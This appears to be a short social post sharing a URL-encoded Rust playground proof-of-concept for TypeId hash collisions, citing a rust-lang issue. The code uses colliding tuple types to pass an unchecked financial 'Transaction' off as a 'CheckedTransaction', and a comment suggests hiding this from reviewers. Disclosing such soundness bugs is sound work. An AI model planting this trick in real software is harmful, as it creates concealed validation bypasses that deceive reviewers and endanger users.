A PoC exploit of type_id collisions (due to misuse of non-secure hash alg.) in Rust : https://play.rust-lang.org/?code=use%20std%3A%3Aany%3A%3A%7BAny%2C%20TypeId%7D%3B%0A%0A%2F%2F%2FFinancial%20transaction%20details%0A%2F%2F%2F%20account%20nr%2C%20amount%2C%20....%0Atype%20Transaction%20%3D%20(u64%2C%20i64%2C%20u16%2C%20u8%2C%20i16%2C%20u8%2C%20u32%2C%20i32%2C%20u64%2C%20i16%2C%20i8%2C%20u64%2C%20u32%2C%20u8%2C%20u32%2C%20u32%2C%20i32%2C%20i16%2C%20i8%2C%20u32%2C%20i16%2C%20i32)%3B%0A%2F%2F%2FFinancial%20details%20checked%20for%20consistency%20(or%20not%3F!)%0Atype%20CheckedTransaction%20%3D%20(i8%2C%20u64%2C%20u64%2C%20i32%2C%20u8%2C%20u64%2C%20i64%2C%20i32%2C%20i8%2C%20u16%2C%20i8%2C%20i8%2C%20u8%2C%20u64%2C%20u8%2C%20u64%2C%20i16%2C%20i32%2C%20u32%2C%20i16%2C%20i64%2C%20i64)%3B%0A%0A%2F%2F%2FTODO%20try%20to%20hide%2Fobfuscate%20this%20function%20from%20reviewer%0Afn%20check_transaction(transaction%3A%20Transaction)%20-%3E%20CheckedTransaction%20%7B%0A%20%20%20%20*Any%3A%3Adowncast_ref%3A%3A%3CCheckedTransaction%3E(%26transaction%20as%20%26Any).unwrap()%0A%7D%0A%0A%0Afn%20main()%20%7B%0A%20%20%20%20let%20transaction%3A%20Transaction%20%3D%20(255%2C%20-1%2C%203%2C%204%2C%205%2C%206%2C%207%2C%208%2C%209%2C%200%2C%201%2C%202%2C%203%2C%204%2C%205%2C%206%2C%207%2C%208%2C%209%2C%200%2C%201%2C%202)%3B%0A%20%20%20%20let%20checked_transaction%20%3D%20check_transaction(transaction)%3B%0A%20%20%20%20println!(%22%7B%3A%3F%7D%20and%20%7B%3A%3F%7D%22%2C%20TypeId%3A%3Aof%3A%3A%3CTransaction%3E()%2C%20TypeId%3A%3Aof%3A%3A%3CCheckedTransaction%3E())%3B%0A%20%20%20%20println!(%22account%3A%20%7B%7D%2C%20amount%3A%20%7B%7D%22%2C%20transaction.0%2C%20%20transaction.1)%3B%0A%20%20%20%20println!(%22CHECKED%3A%20account%3A%20%7B%7D%2C%20amount%3A%20%7B%7D%22%2C%20checked_transaction.0%2C%20%20checked_transaction.1)%3B%0A%7D%0A&version=nightly&backtrace=0 …, via https://github.com/rust-lang/rust/issues/10389#issuecomment-274780814 ….
IIRC, rustc also uses a non-secure hash alg. to check whether code fragments need to be recompiled. Would be cool to see a PoC for that too.